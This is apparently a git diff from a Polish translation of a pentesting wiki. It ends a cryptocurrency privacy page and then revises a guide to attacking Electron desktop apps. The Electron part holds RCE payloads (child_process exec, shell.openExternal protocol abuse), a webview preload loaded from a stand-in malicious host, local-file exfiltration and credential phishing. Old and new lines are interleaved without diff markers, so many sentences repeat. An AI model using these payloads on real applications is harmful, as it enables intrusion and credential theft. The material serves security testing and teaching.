**CoinJoin** łączy wiele transakcji od różnych użytkowników w jedną, co komplikuje proces dla każdego, kto próbuje dopasować wejścia do wyjść. Pomimo swojej skuteczności, transakcje z unikalnymi rozmiarami wejść i wyjść mogą nadal być potencjalnie śledzone.
Przykładowe transakcje, które mogły używać CoinJoin, to `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` i `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Aby uzyskać więcej informacji, odwiedź [CoinJoin](https://coinjoin.io/en). Dla podobnej usługi na Ethereum, sprawdź [Tornado Cash](https://tornado.cash), która anonimizuje transakcje z funduszami od górników.
## PayJoin
Wariant CoinJoin, **PayJoin** (lub P2EP), ukrywa transakcję między dwiema stronami (np. klientem a sprzedawcą) jako zwykłą transakcję, bez charakterystycznych równych wyjść typowych dla CoinJoin. To sprawia, że jest niezwykle trudne do wykrycia i może unieważnić heurystykę wspólnego posiadania wejść używaną przez podmioty monitorujące transakcje.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transakcje takie jak powyższe mogą być PayJoin, zwiększając prywatność, jednocześnie pozostając nieodróżnialnymi od standardowych transakcji bitcoinowych.
**Wykorzystanie PayJoin może znacząco zakłócić tradycyjne metody nadzoru**, co czyni to obiecującym rozwojem w dążeniu do prywatności transakcyjnej.
# Najlepsze praktyki dotyczące prywatności w kryptowalutach
## **Techniki synchronizacji portfeli**
Aby zachować prywatność i bezpieczeństwo, synchronizacja portfeli z blockchainem jest kluczowa. Dwie metody wyróżniają się:
- **Pełny węzeł**: Pobierając cały blockchain, pełny węzeł zapewnia maksymalną prywatność. Wszystkie transakcje kiedykolwiek dokonane są przechowywane lokalnie, co uniemożliwia przeciwnikom zidentyfikowanie, które transakcje lub adresy interesują użytkownika.
- **Filtrowanie bloków po stronie klienta**: Ta metoda polega na tworzeniu filtrów dla każdego bloku w blockchainie, co pozwala portfelom identyfikować odpowiednie transakcje bez ujawniania konkretnych zainteresowań obserwatorom sieci. Lekkie portfele pobierają te filtry, ściągając pełne bloki tylko wtedy, gdy znajdą dopasowanie z adresami użytkownika.
## **Wykorzystanie Tora dla anonimowości**
Biorąc pod uwagę, że Bitcoin działa w sieci peer-to-peer, zaleca się korzystanie z Tora, aby ukryć swój adres IP, zwiększając prywatność podczas interakcji z siecią.
## **Zapobieganie ponownemu używaniu adresów**
Aby chronić prywatność, ważne jest, aby używać nowego adresu dla każdej transakcji. Ponowne używanie adresów może narazić prywatność, łącząc transakcje z tym samym podmiotem. Nowoczesne portfele zniechęcają do ponownego używania adresów poprzez swój design.
## **Strategie dla prywatności transakcji**
- **Wiele transakcji**: Podzielenie płatności na kilka transakcji może zaciemnić kwotę transakcji, utrudniając ataki na prywatność.
- **Unikanie reszty**: Wybieranie transakcji, które nie wymagają zwrotu reszty, zwiększa prywatność, zakłócając metody wykrywania reszty.
- **Wiele zwrotów reszty**: Jeśli unikanie reszty nie jest możliwe, generowanie wielu zwrotów reszty może nadal poprawić prywatność.
# **Monero: Latarnia anonimowości**
Monero odpowiada na potrzebę absolutnej anonimowości w transakcjach cyfrowych, ustanawiając wysoki standard prywatności.
# **Ethereum: Gaz i transakcje**
## **Zrozumienie gazu**
Gaz mierzy wysiłek obliczeniowy potrzebny do wykonania operacji na Ethereum, wyceniany w **gwei**. Na przykład, transakcja kosztująca 2,310,000 gwei (lub 0.00231 ETH) wiąże się z limitem gazu i opłatą podstawową, z napiwkiem dla zachęcenia górników. Użytkownicy mogą ustawić maksymalną opłatę, aby upewnić się, że nie przepłacają, a nadwyżka jest zwracana.
## **Wykonywanie transakcji**
Transakcje w Ethereum obejmują nadawcę i odbiorcę, którymi mogą być adresy użytkowników lub smart kontraktów. Wymagają one opłaty i muszą być wydobywane. Kluczowe informacje w transakcji obejmują odbiorcę, podpis nadawcy, wartość, opcjonalne dane, limit gazu i opłaty. Co ważne, adres nadawcy jest dedukowany z podpisu, eliminując potrzebę jego umieszczania w danych transakcji.
Te praktyki i mechanizmy są podstawowe dla każdego, kto chce zaangażować się w kryptowaluty, priorytetowo traktując prywatność i bezpieczeństwo.
## Odniesienia
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
{{#include ../banners/hacktricks-training.md}}

206
src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
View File

@ -6,12 +6,12 @@
Electron łączy lokalny backend (z **NodeJS**) i frontend (**Chromium**), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.
Zazwyczaj kod aplikacji Electron można znaleźć wewnątrz pliku `.asar`; aby uzyskać kod, trzeba go wypakować:
Zazwyczaj kod aplikacji Electron znajdziesz wewnątrz pliku `.asar`; aby uzyskać kod, musisz go wyodrębnić:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
W kodzie źródłowym aplikacji Electron, wewnątrz `packet.json`, możesz znaleźć określony plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa.
W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, możesz znaleźć wskazany plik `main.js`, w którym ustawiane są konfiguracje bezpieczeństwa.
```json
{
"name": "standard-notes",
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre konfiguracje mogą **zapobiec uzyskaniu RCE** przez aplikację Electron lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**.
Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre konfiguracje mogą **zapobiec RCE** lub innym podatnościom w aplikacji Electron, jeśli **ustawienia są poprawnie skonfigurowane**.
Aplikacja Electron **może uzyskać dostęp do urządzenia** przez Node apis, chociaż można to skonfigurować, aby temu zapobiec:
Aplikacja Electron **może uzyskać dostęp do urządzenia** za pomocą Node apis, chociaż można to skonfigurować, aby temu zapobiec:
- **`nodeIntegration`** - jest domyślnie `off`. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera.
- **`contextIsolation`** - jest domyślnie `on`. Jeśli `off`, proces główny i proces renderera nie są odizolowane.
- **`nodeIntegration`** - jest domyślnie `off`. Jeśli `on`, pozwala na dostęp do funkcji Node z procesu renderera.
- **`contextIsolation`** - jest domyślnie `on`. Jeśli `off`, proces główny i proces renderera nie są izolowane.
- **`preload`** - domyślnie puste.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - domyślnie `off`. Ograniczy działania, które NodeJS może wykonać.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest domyślnie `off`. Ograniczy działania, które NodeJS może wykonać.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - domyślnie `off`.
- Jeśli **`nodeIntegration`** jest **enabled**, pozwoli to na użycie **Node.js APIs** na stronach ładowanych w **iframe'ach** w aplikacji Electron.
- Jeśli **`nodeIntegration`** jest **disabled**, wtedy preloads zostaną załadowane w iframe
- **`nodeIntegrationInSubframes`** - jest domyślnie `off`.
- Jeśli **`nodeIntegration`** jest **włączone**, pozwoli to na użycie **Node.js APIs** w stronach web, które są **ładowane w iframe'ach** w aplikacji Electron.
- Jeśli **`nodeIntegration`** jest **wyłączone**, wtedy preloads zostaną załadowane w iframe.
Przykład konfiguracji:
```javascript
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Kilka **RCE payloads** z [here](https://7as.es/electron/nodeIntegration_rce.txt):
Niektóre **RCE payloads** z [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Przechwytywanie ruchu
Zmień konfigurację start-main i dodaj użycie proxy takiego jak:
Zmodyfikuj konfigurację start-main i dodaj użycie proxy, takiego jak:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe że możesz sprawić, by wykonała dowolny kod javascript. Sprawdź jak w:
Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe, że będziesz mógł sprawić, by wykonała dowolny kod javascript. Zobacz jak w:
{{#ref}}
@ -112,7 +112,7 @@ Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe że możesz spr
## RCE: XSS + nodeIntegration
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
Jeśli **nodeIntegration** jest ustawione na **on**, JavaScript strony WWW może używać funkcji Node.js po prostu wywołując `require()`. Na przykład sposób uruchomienia aplikacji calc na Windows to:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Skrypt wskazany w tym ustawieniu jest **ładowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
Skrypt wskazany w tym ustawieniu jest **załadowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -153,12 +153,12 @@ runCalc()
## RCE: XSS + contextIsolation
The _**contextIsolation**_ wprowadza **oddzielone konteksty między skryptami strony a wewnętrznym kodem JavaScript Electron**, tak aby wykonanie JavaScript jednego kodu nie wpływało na drugie. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.
The _**contextIsolation**_ wprowadza **oddzielne konteksty pomiędzy skryptami strony a wewnętrznym kodem JavaScript Electron**, tak aby wykonanie JavaScript w jednym kontekście nie wpływało na drugi. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.
Jeśli konteksty nie są izolowane, atakujący może:
If the contexts aren't isolated an attacker can:
1. Wykonać **arbitrary JavaScript in renderer** (XSS lub nawigacja do zewnętrznych stron)
2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron, aby przejąć funkcję
1. Wykonać **dowolny JavaScript w rendererze** (XSS lub nawigacja do zewnętrznych stron)
2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron, aby przejąć kontrolę
3. **Wywołać** użycie **nadpisanej funkcji**
4. RCE?
@ -179,34 +179,34 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass click event
### Ominięcie zdarzenia kliknięcia
Jeśli nałożono ograniczenia przy klikaniu linku, możesz być w stanie je ominąć **używając kliknięcia środkowym przyciskiem** zamiast zwykłego kliknięcia lewym przyciskiem.
If there are restrictions applied when you click a link you might be able to bypass them **klikając środkowym przyciskiem** instead of a regular left click
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Aby uzyskać więcej informacji o tych przykładach, zobacz [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Po więcej informacji o tych przykładach zobacz [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Podczas wdrażania aplikacji desktopowej Electron ważne jest prawidłowe ustawienie `nodeIntegration` i `contextIsolation`. Stwierdzono, że **client-side remote code execution (RCE)** wymierzone w preload scripts lub natywny kod Electrona z main process jest skutecznie uniemożliwione przy tych ustawieniach.
Podczas wdrażania aplikacji desktopowej Electron prawidłowe ustawienia `nodeIntegration` i `contextIsolation` są kluczowe. Uznaje się, że **client-side remote code execution (RCE)** wymierzone w preload scripts lub natywny kod Electron z main process jest skutecznie zapobiegane przy tych ustawieniach.
Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, wywoływane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
Gdy użytkownik klika linki lub otwiera nowe okna, wywoływane są konkretne event listeners, które mają kluczowe znaczenie dla bezpieczeństwa i funkcjonalności aplikacji:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Te nasłuchiwacze są **nadpisywane przez aplikację desktopową**, aby zaimplementować własną **logikę biznesową**. Aplikacja ocenia, czy nawigowany link powinien zostać otwarty wewnętrznie, czy w zewnętrznej przeglądarce. Decyzja ta jest zwykle podejmowana przez funkcję `openInternally`. Jeśli ta funkcja zwraca `false`, oznacza to, że link powinien zostać otwarty zewnętrznie, przy użyciu funkcji `shell.openExternal`.
Te nasłuchiwacze są **nadpisywane przez aplikację desktopową** w celu zaimplementowania jej własnej **logiki biznesowej**. Aplikacja ocenia, czy nawigowany link powinien zostać otwarty wewnętrznie, czy w zewnętrznej przeglądarce. Decyzja ta jest zwykle podejmowana przez funkcję `openInternally`. Jeśli funkcja ta zwróci `false`, oznacza to, że link ma zostać otwarty zewnętrznie przy użyciu `shell.openExternal`.
**Oto uproszczony pseudokod:**
**Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices odradzają akceptowanie niezaufanej zawartości przy użyciu funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia tego tematu można odwołać się do [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), które zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.
Electron JS security best practices zalecają, by nie akceptować niesprawdzonej zawartości za pomocą funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Po szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odnieść się do [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), który zawiera przykłady protokołów Windows zdolnych wykorzystać tę lukę.
W macos funkcja `openExternal` może być wykorzystana do wykonania dowolnych poleceń, np. `shell.openExternal('file:///System/Applications/Calculator.app')`.
W macos funkcję `openExternal` można wykorzystać do wykonania dowolnych poleceń, na przykład: `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Przykłady exploitów protokołów Windows obejmują:**
```html
@ -228,17 +228,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
## RCE: webviewTag + podatny preload IPC + shell.openExternal
Ta luka jest opisana w **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Ta luka jest opisana w **[tym raporcie](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** to **przestarzała funkcja**, która pozwala na użycie **NodeJS** w **renderer process**, i powinna być wyłączona, ponieważ umożliwia załadowanie skryptu w kontekście preload, na przykład:
The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
W związku z tym atakujący, który zdoła załadować dowolną stronę, mógłby użyć tego tagu do **load an arbitrary preload script**.
Dlatego atakujący, który jest w stanie wczytać dowolną stronę, mógłby użyć tego znacznika, aby **load an arbitrary preload script**.
Ten preload script został następnie nadużyty do wywołania **vulnerable IPC service (`skype-new-window`)**, który wywoływał calling calling **`shell.openExternal`**, aby uzyskać RCE:
Ten preload script został następnie nadużyty, aby wywołać **vulnerable IPC service (`skype-new-window`)**, który wywoływał **`shell.openExternal`**, aby uzyskać RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Odczyt plików wewnętrznych: XSS + contextIsolation
**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnych do `<iframe>`, do odczytu i exfiltrating lokalnych plików. Podany przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:
**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnych do `<iframe>`, do odczytu i eksfiltracji plików lokalnych. Podany przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Dodatkowo przedstawiono inną metodę **odczytania pliku wewnętrznego**, ukazującą krytyczną podatność na odczyt lokalnych plików w Electron desktop app. Polega ona na wstrzyknięciu skryptu w celu wykorzystania aplikacji i exfiltrate danych:
Dalej przedstawiono inną metodę **odczytu pliku wewnętrznego**, wskazującą na krytyczną podatność na lokalny odczyt plików w aplikacji desktopowej Electron. Polega ona na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych:
```html
<br /><br /><br /><br />
<h1>
@ -273,21 +273,21 @@ frames[0].document.body.innerText
```
## **RCE: XSS + Stary Chromium**
Jeśli używane przez aplikację **chromium** jest **stare** i są na nim **known vulnerabilities**, może być możliwe **exploit it and obtain RCE through a XSS**.\
Przykład znajdziesz w tym **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Jeżeli używany przez aplikację **chromium** jest **stary** i istnieją na nim **znane** **podatności**, może być możliwe **wykorzystanie ich i uzyskanie RCE przez XSS**.\
Przykład można zobaczyć w tym **omówieniu**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing przez Internal URL regex bypass**
## **XSS Phishing via Internal URL regex bypass**
Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych**, możesz spróbować użyć go do **wykradzenia poświadczeń przez phishing**.
Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść wewnętrznych plików**, możesz spróbować użyć go do **wykradzenia poświadczeń przez phishing**.
Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod **JS** we **front-end**:
Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w front-endzie:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Wywołanie **`openInternally`** zdecyduje, czy **link** zostanie **otwarty** w **desktop window**, ponieważ jest to link należący do platformy, **czy** zostanie otwarty w **browser as a 3rd party resource**.
Wywołanie **`openInternally`** zdecyduje, czy **link** zostanie **otwarty** w **oknie aplikacji desktopowej**, ponieważ jest linkiem należącym do platformy, **czy** zostanie otwarty w **przeglądarce jako zasób 3rd party**.
Jeśli **regex** użyty przez funkcję jest **vulnerable to bypasses** (na przykład przez **not escaping the dots of subdomains**), atakujący mógłby wykorzystać XSS, aby **open a new window which** będzie znajdować się w infrastrukturze atakującego i **asking for credentials** od użytkownika:
W przypadku gdy **regex** użyty przez funkcję jest **podatny na obejścia** (np. przez **nieucieczanie znaków '.' w subdomenach**), atakujący mógłby wykorzystać XSS, aby **otworzyć nowe okno, które** znajdowałoby się w infrastrukturze atakującego i **prosić użytkownika o dane logowania**:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` Protocol
Jak wspomniano w [dokumentacji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) strony uruchamiane na **`file://`** mają jednostronny dostęp do każdego pliku na Twoim komputerze, co oznacza, że **XSS issues can be used to load arbitrary files** z maszyny użytkownika. Użycie **custom protocol** zapobiega takim problemom, ponieważ możesz ograniczyć protokół do serwowania tylko określonego zestawu plików.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** mają jednostronny dostęp do wszystkich plików na twoim komputerze, co oznacza, że **błędy XSS mogą być wykorzystane do wczytania dowolnych plików** z maszyny użytkownika. Użycie **niestandardowego protokołu** zapobiega takim problemom, ponieważ pozwala ograniczyć protokół do serwowania tylko określonego zestawu plików.
## Remote module
Moduł Remote w Electron umożliwia **renderer processes to access main process APIs**, ułatwiając komunikację wewnątrz aplikacji Electron. Jednak włączenie tego modułu wprowadza istotne ryzyka bezpieczeństwa. Powiększa powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na podatności, takie jak cross-site scripting (XSS).
The Electron Remote module allows **renderer processes to access main process APIs**, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza istotne ryzyka bezpieczeństwa. Zwiększa powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na podatności takie jak ataki cross-site scripting (XSS).
> [!TIP]
> Chociaż moduł **remote** udostępnia niektóre API z main do renderer processes, nie jest prosto uzyskać RCE jedynie przez nadużycie komponentów. Jednak te komponenty mogą ujawniać wrażliwe informacje.
> Chociaż moduł **remote** udostępnia niektóre API z main do renderer processes, nie jest prosto uzyskać RCE jedynie przez nadużycie tych komponentów. Jednak komponenty te mogą ujawniać wrażliwe informacje.
> [!WARNING]
> Wiele aplikacji, które nadal używają remote module, robi to w sposób, który wymaga włączenia **NodeIntegration** w renderer process, co jest **ogromnym ryzykiem bezpieczeństwa**.
> Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który **require NodeIntegration to be enabled** w renderer process, co stanowi **ogromne ryzyko bezpieczeństwa**.
Od Electron 14 moduł `remote` może być włączony na kilka sposobów, jednak ze względów bezpieczeństwa i wydajności **zaleca się, by go nie używać**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
Aby go włączyć, najpierw trzeba go **włączyć w main process**:
Aby to włączyć, najpierw trzeba **enable it in the main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -320,41 +320,39 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Następnie proces renderera może zaimportować obiekty z modułu w ten sposób:
Wówczas proces renderera może importować obiekty z modułu w ten sposób:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje na kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z modułu remote:
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje na kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z modułu remote:
- **`app.relaunch([options])`**
- **Restartuje** aplikację przez **zakończenie** bieżącej instancji i **uruchomienie** nowej. Przydatne przy **aktualizacjach aplikacji** lub istotnych **zmianach stanu**.
- **Restartuje** aplikację przez **zakończenie** bieżącej instancji i **uruchomienie** nowej. Przydatne przy **aktualizacjach aplikacji** lub znaczących **zmianach stanu**.
- **`app.setAppLogsPath([path])`**
- **Określa** lub **tworzy** katalog do przechowywania **logów aplikacji**. Logi można **pobrać** lub **zmodyfikować** używając **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Rejestruje** bieżący plik wykonywalny jako **domyślny program obsługujący** dla określonego **protokołu**. Można podać **niestandardową ścieżkę** i **argumenty**, jeśli to potrzebne.
- **Rejestruje** bieżący plik wykonywalny jako **domyślnego obsługującego** dla określonego **protokołu**. Można podać **własną ścieżkę** i **argumenty**, jeśli to konieczne.
- **`app.setUserTasks(tasks)`**
- **Dodaje** zadania do kategorii **Tasks** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane.
- **`app.importCertificate(options, callback)`**
- **Importuje** certyfikat **PKCS#12** do systemowego magazynu certyfikatów (tylko Linux). Do obsługi wyniku można użyć **callback**.
- **Importuje** certyfikat **PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). **Callback** można użyć do obsługi wyniku.
- **`app.moveToApplicationsFolder([options])`**
- **Przenosi** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac.
- **`app.setJumpList(categories)`**
- **Ustawia** lub **usuwa** niestandardową **Jump List** na **Windows**. Można określić **kategorie**, aby zorganizować sposób wyświetlania zadań użytkownikowi.
- **Ustawia** lub **usuwa** **niestandardowy Jump List** na **Windows**. Można określić **kategorie**, aby zorganizować sposób wyświetlania zadań użytkownikowi.
- **`app.setLoginItemSettings(settings)`**
- **Konfiguruje**, które **pliki wykonywalne** uruchamiają się przy **logowaniu**, oraz ich **opcje** (tylko macOS i Windows).
- **Konfiguruje**, które **pliki wykonywalne** uruchamiane są przy **logowaniu** wraz z ich **opcjach** (tylko macOS i Windows).
Przykład:
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
## systemPreferences moduł
**Główne API** do uzyskiwania dostępu do preferencji systemowych i **emitowania zdarzeń systemowych** w Electron.
**Główny interfejs API** do uzyskiwania dostępu do ustawień systemowych i **emitowania zdarzeń systemowych** w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** wszystkie są **częścią** tego modułu.
Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** są **częścią** tego modułu.
**Przykład użycia:**
**Przykładowe użycie:**
```javascript
const { systemPreferences } = require('electron');
@ -369,19 +367,19 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Nasłuchuje** **natywnych powiadomień macOS** za pomocą NSDistributedNotificationCenter.
* Przed **macOS Catalina** można było sniffować **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver.
* Po **Catalina / Big Sur**, aplikacje w piaskownicy (sandboxed apps) nadal mogą **subskrybować** **wiele zdarzeń** (na przykład **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciowa**, itp.) rejestrując powiadomienia **po nazwie**.
* **Nasłuchuje** natywnych powiadomień macOS przy użyciu NSDistributedNotificationCenter.
* Przed **macOS Catalina** można było podsłuchiwać **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver.
* Po **Catalina / Big Sur** aplikacje w sandboxie nadal mogą **subskrybować** **wiele zdarzeń** (np. **blokady/odblokowania ekranu**, **montowania wolumenów**, **aktywność sieciową**, itp.) przez rejestrowanie powiadomień **po nazwie**.
### **getUserDefault / setUserDefault**
* **Interfejsuje** z **NSUserDefaults**, który przechowuje **preferencje aplikacyjne** lub **globalne** na macOS.
* **Komunikuje się** z **NSUserDefaults**, który przechowuje preferencje **aplikacji** lub **globalne** na macOS.
* **getUserDefault** może **pobrać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzna lokalizacja użytkownika**.
* **getUserDefault** może **pobrać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzne położenie użytkownika**.
* **setUserDefault** może **zmodyfikować** te preferencje, potencjalnie wpływając na **konfigurację** aplikacji.
* **setUserDefault** może **modyfikować** te preferencje, potencjalnie wpływając na **konfigurację** aplikacji.
* W **starszych wersjach Electron** (przed v8.3.0) dostępne było tylko **standardowe zestawy** NSUserDefaults.
* W **starszych wersjach Electron** (przed v8.3.0) tylko **standardowy zestaw** NSUserDefaults był **dostępny**.
## Shell.showItemInFolder
@ -389,11 +387,11 @@ This function whows the given file in a file manager, which **could automaticall
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Polityka Bezpieczeństwa Treści (CSP)
## Content Security Policy
Electron apps powinny mieć **Content Security Policy (CSP)**, aby **zapobiegać atakom XSS**. **CSP** jest **standardem bezpieczeństwa**, który pomaga **zapobiegać** **wykonywaniu** **niezaufanego kodu** w przeglądarce.
Aplikacje Electron powinny mieć **Content Security Policy (CSP)**, aby **zapobiegać atakom XSS**. **CSP** to **standard bezpieczeństwa**, który pomaga **zapobiegać** **wykonywaniu** **niezaufanego kodu** w przeglądarce.
Zwykle jest **konfigurowany** w pliku **`main.js`** lub w szablonie **`index.html`** z CSP umieszczonym wewnątrz **meta tagu**.
Zazwyczaj jest **konfigurowane** w pliku **`main.js`** lub w szablonie **`index.html`** z CSP umieszczonym wewnątrz **meta tagu**.
For more information check:
@ -405,22 +403,22 @@ pentesting-web/content-security-policy-csp-bypass/
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
